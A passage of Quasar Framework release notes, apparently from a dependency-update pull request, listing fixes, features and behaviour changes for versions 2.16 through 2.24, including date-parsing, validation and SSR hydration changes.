  • fix(QEditor): commit a link only when the user asks for it -> opening the link toolbar used to wrap the selection in an <a href="https://"> straight away, leaving a broken link behind if you walked away (#​18289)
  • fix(QEditor): keep the link editor open when the command sits in a toolbar dropdown (#​17920)
  • fix(ui): add validation for the q-editor link
  • fix(QMenu): keep popups open on clicks inside a fullscreen-detached child (#​18512)
  • fix(QMenu): follow the anchor through a fullscreen detach -> the menu stayed open at stale coordinates, painted over by the fullscreen element (#​18513)
  • fix(useFullscreen): keep focus and caret through the detach/restore moves -> a caret placed in a QEditor before entering fullscreen was lost (#​17843)
  • fix(QMenu/QTooltip): follow an anchor still moving during the enter transition -> the popup no longer lands at a stale spot and snaps into place at transition end
  • fix(QDialog/QMenu): don't throw on focus when the inner ref holds a non-Element stub (#​12780)
  • fix(QDialog/QTooltip): resolve fall-through attrs on the render path -> a dynamic :class on an open QDialog never reached the portal root, and a dynamic id went stale on QTooltip
  • fix(QDialog): stop fighting the iOS scroll position while the viewport is zoomed
  • fix(QScrollArea): stop trapping fixed-positioned children -> a position: fixed descendant anchored itself to the scroll area and was clipped there (#​12109)
  • fix(QSelect): display falsy (non-null) selected values with fill-input (#​17763)
  • fix(QInput): restore the textarea inline styles when autogrow is toggled off (#​17535)
  • fix(QFab): stop forwarding the FAB's own props to the trigger button -> every FAB shipped an anchor carrying invalid DOM attributes like direction="up" and labelposition="right"
  • fix(ui): QFab/QFabAction internal top/bottom label was never stacked -> an internal label-position="top"/"bottom" laid icon and label out in a row instead of a column
  • fix(QColor): drop the dead hideSelection prop from the alpha slider
  • fix(QTree): align dense virtual scroll root leaves with the nested layout
  • fix(ui): QVirtualScroll SSR-rendered padding mismatching the client's -> no more "Hydration style mismatch" warning in every SSR app rendering a QVirtualScroll
  • fix(ui): Morph SSR hydration class false-positive
  • fix(ui): Screen plugin -> honor the documented config > screen > bodyClasses key on SSR, which never emitted its body class into server-rendered HTML
  • fix(ui): widen useQuasar()'s inject() fallback past the no-instance case
  • fix(ui): actually print the UMD missing-Vue guidance error -> it was dead code behind a cryptic "Cannot read properties of undefined" throw

Other

  • Test infrastructure: SSR hydration coverage for every component and directive (with a Quasar-config and icon-set install axis), a hydration sweep over the playground, a UMD suite running the built bundles under both global Vue builds, a cross-engine regression sweep page, and an [Accessibility] category in the Specs workflow

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.24.0

Compare Source

Changes

No breaking changes, no runtime changes. This release makes quasar more tree-shakable and pairs with the new faster toolchain.

  • Tree-shaking: added a sideEffects declaration and /#PURE/ annotations on all component/directive/plugin definitions. A minimal import { QBtn } from 'quasar' can now shake down to 36 KB (10 KB gzip) under per-file imports.
  • New dist/transforms/sass-variables.json: precomputed parse of the Sass variables file, powering targeted variable injection in @​quasar/vite-plugin v2 (only the variables a style block uses get injected — much faster Sass compilation).
  • Pairs with @​quasar/vite-plugin v2.0.0 and @​quasar/app-vite v3.4.0 (both require quasar ^2.24.0): production builds up to 3x faster, dev cold starts up to ~1.8x faster, byte-identical output. Plugin 1.x keeps working too.

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.23.5

Compare Source

Fixes

  • fix(QTime): default value to match docs
  • fix(QRange): handle "null" as model value
  • fix(QDate): events rendered no marker unless event-color was also set
  • fix(QDate): undefined model rejected by the validator
  • fix(useField): the control slot's field key never existed
  • fix(QFile): file/selected slot scopes "ref" value
  • fix(QEditor): a toolbar dropdown crashed the render on an unknown option token
  • fix(QTree): setTicked() did nothing unless ticked was v-model bound
  • fix(morph): cancel() crashed when reversing a non-tween morph
  • fix(uploader-core): remove dead branch
  • fix(morph): spacers pointed at missing keyframes
  • fix(QUploader): factory() leaked the upload thread
  • fix(useValidate): a misspelled pattern rule silently passed validation
  • fix(QUploader): no "failed" event when the URL was missing
  • fix(QTable): scrollTo() was a no-op without virtual-scroll-sticky-size-start
  • fix(QTable): non-virtual scrollTo() threw on a non-numeric index
  • fix(QCheckbox;QToggle;QRadio): [regression] label wrapped components do not work as expected anymore #​18499
  • fix(TouchPan;TouchSwipe): stop shielding the page from pointer events after the mouse gesture ended #​18496

Notable behaviour changes

  • Validation: a misspelled string rule now fails instead of silently passing (b67ea77, 843a8c7)

Affects all components using rules (QInput, QSelect, QField, QFile, QDate, QTime, ...). Previously, a string rule that doesn't match any embedded validation pattern (e.g. rules: [ 'emial' ] instead of 'email') was silently skipped — the field validated as if the rule wasn't there. Such a rule now logs a console.error and fails validation (like any message-less rule, with no error message displayed).

Action needed: if a field in your app suddenly refuses to validate and the console shows Unknown validation pattern rule: "...", fix the rule name. The old behavior was accepting any input through the typo.

  • QDate: event markers now render without event-color (9101b16)

Previously, setting events without also setting event-color rendered no marker at all. Markers now render with the default styling (the secondary brand color), as documented. If you had events set and were (unknowingly) relying on the markers being invisible, days matching events will now show a marker.

Passing an explicitly undefined model (e.g. v-model="myDate" before myDate is initialized) no longer triggers a Vue prop-validation warning — it now resolves to null ("no value selected"), matching the documented String | null | undefined type and the pattern QSlider already uses. Omitting the prop entirely still warns as a required prop. No action needed unless you were watching for that console warning.

  • QUploader: @​failed now fires when the upload URL is missing or invalid (7a45734)

Previously, an invalid/unset url only logged a console error and marked the files as failed — the @​failed event never fired, so programmatic error handling couldn't react. The event now fires with the documented { files, xhr } payload (an XHR that was never sent, so xhr.status is 0). If you have a @​failed listener, it will now also receive this case.

  • QTree: setTicked() now works without v-model:ticked too (edfb46a)

The public setTicked() method (and tickboxes in uncontrolled usage) previously did nothing unless ticked was bound with v-model. It now updates the internal state, mirroring how setExpanded() already behaved. Controlled usage (with v-model:ticked) is unchanged.

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.23.4

Compare Source

Fixes

  • fix(position-engine): #​16167 QMenu/QTooltip never appear in Firefox when their content uses flexbox (#​18468)
  • fix(EventBus): support reserved event names (#​18479)
  • fix(date): escape custom locale names (#​18481)
  • fix(runSequentialPromises): normalize invalid concurrency (#​18480)
  • fix(QDialog): #​13395 keep focus inside a child moved out by fullscreen (#​18474)
  • fix(QTable): #​10445 separator borders leak into tables rendered in slots (#​18495)
  • fix(QMenu,QDialog): #​15598 #​17081 closing an overlay scrolls a virtual-scroll list by one header height (#​18473)
  • fix(ui): don't scroll when moving focus to blur/refocus targets
  • fix(QInfiniteScroll): reverse mode scrolls by a whole batch on load when CSS scroll anchoring is active #​17848 #​18476
  • fix(date): extractDate() now returns an Invalid Date instead of a misleading valid-looking date when the input cannot be parsed (#​18478)
  • fix(QInput): defer masking during IME composition (#​16618, #​16629) (#​18424)
  • fix(QCarousel): negative autoplay does not respect the panel direction
  • fix(QCheckbox;QToggle;QRadio): only inject the native input when it can be submitted
  • fix(QPagination): glossy prop not being used correctly
  • fix(QVirtualScroll): don't crash after the missing-slot error
  • fix(preventDraggable): make the already-applied guard effective
Behavior change: date.extractDate() and invalid input

Previously, extractDate() always constructed a valid Date, even when the input didn't
match the mask or contained impossible values. Failures were silently normalized --
extractDate('not a date', 'YYYY-MM-DD') returned Jan 1 1900, 2024-02-30 rolled over
to Mar 1, and out-of-range time components wrapped around (24:00 became 00:00, 13:60 became 13:00).

Now these inputs return an Invalid Date object. The function signature and return type are unchanged, but code that never checked validity will propagate NaN-based dates instead of wrong-but-valid ones. Check results with:

const parsed = date.extractDate(input, 'YYYY-MM-DD')
if (date.isValid(parsed)) { /* safe to use */ }
// or: Number.isNaN(parsed.getTime())

Valid input prefixes still parse — extra text after the masked portion is ignored, so extractDate('2024-02-29T13:05:06Z', 'YYYY-MM-DD') still works.

QDate and QTime are also stricter about model values with out-of-range time components (e.g. 24:00
with an HH:mm mask). QTime now shows its empty --:-- state instead of a silently wrapped time,
and QDate (with a time-bearing custom mask only) treats such values as unparseable -- no day appears
selected and the calendar opens at the default view. Valid model values are unaffected.

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.23.3

Compare Source

Security

  • fix(ui): bound SSR User-Agent parsing

Fixes

  • feat+fix(date): extra second param (utc?: boolean) for daysInMonth(); correct UTC month ends and locale cache (#​18453)
  • fix(date): accept negative epoch in extractDate X/x masks (#​18443)
  • fix(patterns): accept rgba alphas with a trailing zero (#​18444)
  • fix(use-panel): terminate goToPanelByOffset when walking below index 0 (#​18445)
  • fix(slider): ignore a non-positive markers prop (#​18446)
  • fix(slide-transition): do not orphan the fallback timer (#​18447)
  • fix(use-panel): do not apply the RTL swipe flip when vertical (#​18448)
  • fix(QSelect): cancel a pending input-value emit when setting a new one (#​18449)
  • fix(QBtn): release the submit keydown guard on cleanup (#​18451)
  • fix(QInput): make blur() cancel a focus() queued behind the portal wait flag (#​18452)

Other (potential breaking change)

  • feat+perf(Platform): remove support for very old platforms like blackberry and playbook

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.23.2

Lots of community fixes included, especially from Evan Chan (@​evnchn ). Thanks all for contributing!

Fixes

  • fix(ui): account for Android safe area insets (new prop framework.config.cordova/capacitor: androidStatusBarPadding (boolean) (#​18425)
  • fix(format): capitalize('') should not throw (#​18426)
  • fix(patterns): reject calendar-invalid month/day in the date rule (#​18427)
  • fix(date): correct getWeekOfYear DST adjustment (minutes vs hours) (#​18428)
  • fix(debounce): re-arm the leading edge after cancel() in immediate mode (#​18429)
  • fix(portal): guard removeGlobalNode against untracked elements (#​18430)
  • fix(EventBus): prevent once() firing twice on a re-entrant emit (#​18431)
  • fix(TouchPan): reference bindings.value in updated hook, not undeclared value (#​18432)
  • fix(morph directive): resolve object-form binding in getSSRProps (#​18438)
  • fix(escape-key): keep ESC armed across interleaved key events while held #​18433
  • fix(Dialog): keep array-valued plugin options as arrays when merging on update() #​18434
  • fix(useSplitAttrs): read the current vnode each update, not a stale setup capture #​18435
  • fix(Notify): use notif.multiLine (not multiline) in the auto-group key #​18436
  • fix(BottomSheet): apply action.classes in grid mode (was action.class) #​18437

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.23.0: /1

Compare Source

[!IMPORTANT]
If you are using RTL, you might want to update your postcss.config.js on the postcss-rtlcss options. Import { Mode } from postcss-rtlcss/options and assign { mode: Mode.Override } to the postcss-rtlcss options.

2.23.1 is a repackage and publish due to an npm issue.

New

  • feat(ui): new composable -> useAnimationFrame()

Fixes

  • fix(QFab): keep actions physically placed under RTL to prevent overlap (#​18413)
  • fix(QMenu): don't close popups shielded by a modal QDialog (#​18091) (#​18412)
  • fix(QCarousel): preserve scroll position after exiting fullscreen (#​18215) (#​18411)
  • fix(QFab): keep action order physical under RTL (#​18419)
  • fix(css): emit override-mode RTL so nested dir subtrees don't double-apply (#​18420)
  • fix(QLinearProgress): fix reverse direction under subtree RTL (#​18421)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.22.0

Compare Source

[!IMPORTANT]
If you will be using the new SSG mode with Quasar CLI, you will need to upgrade to this version.

Security fixes

  • fix(ui): prevent extend prototype pollution
  • fix(ui): secure SSR meta serialization

Other fixes

  • fix(ui): align runtime public surface behavior (#​18379)
  • fix(ui): clean up deferred lifecycle work (#​18383)
  • fix(ui): align form control behavior (#​18385)
  • fix(ui): improve SSR hydration safety (#​18382)
  • fix(ui): harden overlay focus lifecycle (#​18381)
  • fix(ui): improve keyboard accessibility (#​18380)
  • fix(ui): harden QTable interactions (#​18386)
  • fix(ui): align RTL interaction behavior (#​18384)
  • fix(QSlideItem): preserve pending action side (#​18403)
  • fix(QDialog): restore scroll after URL metadata changes (#​18406)
  • fix(QInput): preserve focused value with v-model.trim (#​18402)
  • fix(QCarousel): initialize navigation state on render (#​18401)
  • fix(ui): harden QUploader state handling (#​18397)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If Quasar is useful in your workflow and you want to support ongoing maintenance, please consider the following:

v2.21.4

Compare Source

Changes

  • fix(ui): table pagination range labels for LTR languages (#​18378)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.21.3

Compare Source

Changes

  • fix(ui): HasSsrOrSsg defaults to SSR branch for non-SSR apps (#​18356)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.21.2

Compare Source

Changes

  • feat(ui): prepare types for upcoming SSG mode

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.21.1

Compare Source

Changes

  • fix+perf(QDialog): css instead of js approach to fix page scroll loss functionality after closing QDialog in Safari (macOS) #​18275

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.21.0

Compare Source

Changes

  • feat(QTable): export getCellValue(colName,row) on the instance
  • feat(lang): new language pack "lb"
  • feat(ui): integrate lang audit into the build system
  • feat(ui): integrate icon set audit into build system
  • feat(ui): json api build system -> best effort method to catch undeclared component methods
  • fix(ui): icon-set type has non-existent svg-mdi-v3 & svg-mdi-v4
  • fix(ui): add missing type for clone() util
  • fix(QTooltip): guard MutationObserver against detached innerRef (#​18316)
  • fix(ui): Audit and align UI language packs (#​18339)
  • fix(lang): az-Latn -> lang native name
  • fix(lang): eo -> tree.noData should be tree.noNodes
  • fix(lang): fi -> unused pullToRefresh definitions
  • fix(lang): fr -> tree.noData should be tree.noNodes
  • fix(lang): hi -> lang native name
  • fix(lang): it -> tree.noData should be tree.noNodes
  • fix(lang): kur-CKB -> unused date.singleDay
  • fix(lang): lt -> lang native name
  • fix(lang): ms-MY -> lang native name
  • fix(lang): ms -> date.months translation
  • fix(lang): ug -> missing pagination
  • fix(lang): correct Norwegian (nb-NO) table.selectedRecords + minor fixes (#​18334)
  • fix(lang): lv -> date.months translation
  • fix(lang): ms-MY -> date.headerTitle and date.firstDayOfWeek
  • fix(lang): my -> wrongly being used for Malaysia; translated to actual lang
  • fix(lang): uk -> date.days translation
  • fix(lang): correct Japanese (ja) mistranslations in editor/tree labels (#​18336)
  • fix(iconSet): themify -> remove unused carousel.thumbnails

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.20.3

Compare Source

Changes

  • fix(TouchPan): glitch in getChanges() which breaks js flow #​18337

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.20.2

Compare Source

Changes

  • fix(QDrawer): swipe-to-open gesture broken on mobile (onOpenPan guard condition inverted) #​18331
  • fix(portal): avoid focus tampering while in the wait state #​18333
  • feat(ui): small tweaks to further modernize code
  • feat(ui): re-organize UMD

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.20.1

Compare Source

Fixes

  • fix(QInput): type="number" label overlap #​18326
  • fix(QDialog): accessibility warning on backdrop #​18314
  • fix(portal): do not allow focus on any element while in the wait state

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.20.0

Compare Source

Quasar UI is now much smaller in size and runs faster! We are bumping the minor version because this release is significant in many areas.

Changes

  • feat+perf(ui): modernize codebase
  • feat+fix+perf(runSequentialPromises): modernize; avoid crashing when passing non-async fn; avoid setTimeout() which adds unnecessary delays (they add up)
  • feat(Cookies): modernize; use MaxAge instead of expires
  • feat+perf(uid): modernize function
  • fix(QPopupProxy): should not emit update:modelValue due to useAnchor()
  • fix(TouchSwipe): account for UMD too where modifiers will be lowercased to work for mouseCapture
  • fix(Ripple): correctly destroy ctx
  • fix(ui): QDrawer hideOnRouteChange logic
  • feat(ui): remove legacy "vetur" step from the build
  • refactor(ui): improve the build system; better leverage of the rolldown API
  • fix(frameDebounce): calling context of execution function
  • fix(ui): add missing HasElectron type

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.19.3

Compare Source

Changes

  • feat(ui): new icon sets -> Fontawesome v7 (& svg, & pro variants), Svg Ionicons v7 & v8
  • feat(ui): decouple q/extras types from the UI package
  • feat(ui): update Italian translations (#​18284)
  • fix(useInterval): remove unused argument passed to removeInterval (fixes #​18273) (#​18274)
  • fix(ui): UMD prod -> isRuntimeSsrPreHydration is undefined in setup() due to bug in rolldown #​18272

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.19.2

Compare Source

Changes

  • fix(QIcon): error with material-icons-outlined #​18267

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.19.1

Compare Source

Changes

  • fix(ui): QInput/QSelect placeholder visible behind label when field is empty #​18265

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.19.0

Compare Source

We're bumping the minor version without new features to signal our important shift to the Oxc+Rolldown ecosystem for our internal build system (which also generates smaller Quasar UI dist files).

For the standalone/umd version, we're now targetting the "baseline-widely-available" agreed minimum versions (chrome/edge 111, firefox 114, safari/ios 16.4) and Node.js v20 (already required by q/app-vite [v22 for this one] & q/app-webpack).

Changes

  • feat(ui): [internal build system] replace: esbuild -> rolldown, cssnano -> lightningcss, eslint -> oxfmt & oxlint
  • fix(QEditor): save selection range before execCommand('createLink') t… (#​18249)
  • fix(ui): date/getMinDate & date/getMaxDate should return Date instead of number (#​18261)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.18.7

Compare Source

Changes

  • perf(ui): runSequentialPromise() -> never start more threads than supplied number of promises
  • fix(QBtnDropdown): API -> description for 'cover' property (#​18208)
  • fix(ui): openURL() should not invoke rejectFn when noopener is set (#​18221) (#​18229)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.18.6

Compare Source

Changes

  • fix(ui): threadsNumber not working correctly for runSequentialPromises() util

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.18.5

Compare Source

Changes

  • feat+perf(QPagination): blur input after update on mobile; various perf work on events #​18097
  • fix(QField/QInput/...): a11y compliancy - move q-field__label before the input (fix #​16855) (#​18031)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.18.4

Compare Source

New

  • feat(QInput): new prop -> mask-tokens #​18114 #​12759
  • feat(JSON): new JSON category for validation-related props

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.18.3

Compare Source

Changes

  • fix(use-mask): changing mask breaks the model #​18128

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.18.2

Compare Source

New

  • feat(ui): Albanian Quasar language pack (#​17985)

Changes

  • fix(Dark): fix flash of light theme with SSR, fixes #​17953 (#​17965)
  • fix(ui): fix __splitDate function: invalid call function 'pad' for date.year (#​17907)
  • fix(QEditor): consistent use of htmlTip in editor buttons #​16933 (#​17899)
  • fix(QEditor): remove tabindex: -1 from remove link button, add aria-label to QEditor buttons (fix: partially #​15675, #​13275) (#​17893)
  • fix(ui): replace ariaLabel with aria-label (fix: #​17988) (#​17996)
  • fix(ui): remove double border-top in no data scenario (fix #​18006) (#​18020)
  • fix(ui): loosen getMinDate/getMaxDate types to allow spread usage (fix: #​17858) (#​18047)
  • fix(QTable): support meta key for row selection (fix #​18042) (#​18043)
  • fix(QInput): useMask wrongly consumes character (fix #​17980) (#​18018)
  • fix(AddressbarColor): unsupported tag 'apple-mobile-web-app-status-bar-style' replaced by supported tag 'theme-color' for iOS/Safari (fix: #​17900) (#​17989)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.18.1

Compare Source

Fixes

  • fix(ui): add aria-label to date buttons (fix #​16713) (#​17884)
  • fix(QChip): outline + avatar --> correctly place the avatar #​17885
  • fix(QSelect): content overflows when selected options are too long #​17875

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.18.0

Compare Source

New

  • feat(QTable): new props -> table-row-style-fn, table-row-class-fn, grid-style-fn, grid-class-fn (#​8311)
  • feat(QRating): Add color transition for QRating icons (#​17798)
  • feat(QMenu): Add no-esc-dismiss prop to QMenu (#​17784)
  • feat(QBtnDropdown): add no-esc-dismiss prop (#​17784)
  • feat(QBtnDropdown): no-focus & no-refocus properties passed to the QMenu of QBtnDropdown (#​17802)
  • feat(ui/lang): Add support for Urdu language from Pakistan (#​17771)
  • feat(ui): Ability to avoid Quasar changing focused element by defining evt.qAvoidFocus flag to true #​17803
  • feat(ui): add pure CSS icons support (#​17762)
  • feat(ui): modernize codebase with js operators now supported fully on all our target environments

Fixes

  • fix(ui): remove redundant role in q-icon (#​17852)
  • fix(ui): add aria-label to table pagination buttons (fix: #​17148) (#​17809)
  • fix(QDialog): JSON > "escape-key" event > description mentions "no-esc-key" instead of "no-esc-dismiss"
  • fix(ui): add missing filter prop to QTable #no-data JSON API

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.17.7

Compare Source

Changes

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.17.6

Compare Source

Fixes

  • fix(ui/lang): chinese simplified language pack iso name #​17723

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.17.5

Compare Source

Fixes

  • fix(QTabs): offsetwidth error #​17664
  • fix(ui/json): spelling in notify (#​17697)
  • fix+perf(QCarousel/QStepper/QTabPanels): active panel renders twice initially #​17698

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.17.4

Compare Source

Fixes

  • fix(ui): svgGrade removed. Use svgStar. Used in iconsets as "rating". #​17640

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.17.3

Compare Source

Fixes

  • fix(QSelect): JSON -> missing props for "option" & "selected-item" slots #​17619
  • fix(iconsets): svgGrade removed. Use svgStar. Used in iconsets as "rating". (#​17640)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.17.2

Compare Source

Fixes

  • fix(QTree): incorrect type for tickStrategy (#​17618)
  • fix(QSelect): .value(opt).toLocaleLowerCase is not a function #​16698
  • fix(QSelect): regression when options is not an array #​17613 #​17598
  • Revert "fix(ui): prevent disabled styling on disabled=false (#​17527)" #​17616
  • fix(ui): fix File-based types for q-upload and q-file (fix: #​17605) #​17624

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.17.1

Compare Source

New

  • feat(ui): upgrade to Sass v1.80+ specs on not using builtin globals

Fixes

  • Revert "fix(ui): IME composition detection not working (#​17476)" #​17536
  • fix(ui): fix QuasarDirectives type (fix: #​17554) (#​17559)
  • fix(ui): allow number[] in QSlider markerLabels type (fix: #​17450) (#​17555)
  • fix(ui): make headingN and sizeN optional in icon set types
  • fix(ui): prevent disabled styling on disabled=false (#​17527)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.17.0

Compare Source

Potential upgrade issue

The "Platform" Quasar plugin now explicitly holds all Boolean props in Platform.is Object. Previously, only the active/"true" ones were contained. So, for example, on a non-Firefox browser, if previously Platform.is.firefox would not have been declared, now it will be defined and its value is going to be false. So, if you were doing 'firefox' in Platform.is or Platform.is.firefox === undefined, change it to Platform.is.firefox/!Platform.is.firefox.

New

  • feat+refactor(ui/Platform): explicitly specify all boolean props (they were previously undefined if "false") #​17482
  • perf(QScrollArea): prevent content re-rendering on scroll or mousemove (fix #​16579) #​17041
  • feat(QScrollArea): add scroll viewport to create overscrolling effect #​17208
  • feat(QUploader): New prop -> thumbnail-fit (#​17494)
  • feat(QSelect): New prop: disable-tab-select (#​17362)
  • feat(QMenu/QTooltip): new Quasar CSS vars -> $menu-max-height, $tooltip-max-width, $tooltip-max-height #​16072
  • feat+perf(QOptionsGroup): new props -> option-value, option-label & option-disable #​16874
  • feat+refactor(QSpinner): mount & patch faster
  • chore(QSelect): small perf-related improvements

Fixes

  • fix(QTabPanels): tab-panels 'transition' emit fires before transition ends (fix #​17479). (#​17489)
  • fix(QScrollArea): correctly compute snap position for thumb #​17206 (#​17207)
  • fix(QTabs): Active route tab doesn't update on reactivation when it's a descendant of #​17495
  • fix+feat(QSelect/QMenu/QTooltip): the position engine should not override max-width/height set in CSS for QMenu/QTooltip #​16072
  • fix(ui): Type-Error because of 'declare module "@​vue/runtime-core"' #​17416

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.11

Compare Source

Fixes

  • fix(ui): memleak in QCheckbox/QRadio/QSpace/QSpinner(s) due to globally created vdom nodes #​17485
  • fix(ui): allow Font Awesome fa-classic in QIcon (fix: #​17483) (#​17486)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.10

Compare Source

Changes

  • fix(ui): add role="list" to QList (fix: #​17439) (#​17441)
  • fix(QTable): JSON > "virtualScrollSliceSize" default value; (#​17480)
  • fix(ui): IME composition detection not working (#​17476)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.9

Compare Source

New

  • feat(ui): date utils -> add format support for: Mo, do, DDDo, wo
  • feat(ui/lang): Create bs-BA language pack (#​17433)

Fixes

  • fix(ui): apply styles to only aria-disabled="true" (#​17436)
  • fix(QIcon): rounded floating q-badge not "round" when working with q-icon #​17342
  • fix(ui): invalid icons for the Quasar IconSets on Material Symbols (webfont + svg)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.8

Compare Source

Changes

  • feat(ui): All components to use SASS variable for font size #​17264 (#​17274)
  • fix(ui): update GlobalComponents augment (fix:  #​17416)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.7

Compare Source

Fixes

  • fix(ui): QField/QInput/QSelect/etc clear icon aria-hidden management #​17407
  • chore(QBtn): remove useless re-define of aria-hidden on icons (QIcon already has it)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.6

Compare Source

Fixes

  • fix(ui): correctly apply iOS safe area padding when using q-tabs (#​17055)
  • fix(ui): avoid Sass warning by upgrading to latest specs in QSkeleton (no declaration after nested rule)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.5

Compare Source

Fixes

  • fix(util): typescript declaration for humanStorageSize (#​17240)
  • fix(ui): prevent @typescript-eslint/unbound-method error on newer utilities types (#​17251)
  • fix(ui): use correct list type for QSliderSlots (fix: #​17060) (#​17061)
  • fix(ui): fix useId composable types (fix: #​17284)

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.4

Compare Source

Changes

  • fix(ui): support for legacy build systems that don't know about "exports" field #​17190

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.3

Compare Source

Changes

  • fix(QDate): transitions not working correctly #​17183

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.2

Compare Source

Fixes

  • feat+fix(ui): ensure Quasar can be used without Quasar CLI or @​quasar/vite-plugin or vue-cli-plugin-quasar #​17174
  • fix(QInput): declare FileList as possible modelValue type (QInput can be used with type="file")
  • fix(QField): unexpected data clearing with "clearable" prop enabled #​17113
  • fix(QInput): lazy model + clearable - not emitting "change" event on clear btn
  • fix(QField): button in slots gets focus+click after QField focuses #​17177

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.1

Compare Source

Fixes

  • fix(ui): correctly declare typings with "exports" #​17172

Donations

Quasar Framework is an open-source MIT-licensed project made possible due to the generous contributions by sponsors and backers. If you are interested in supporting this project, please consider the following:

v2.16.0

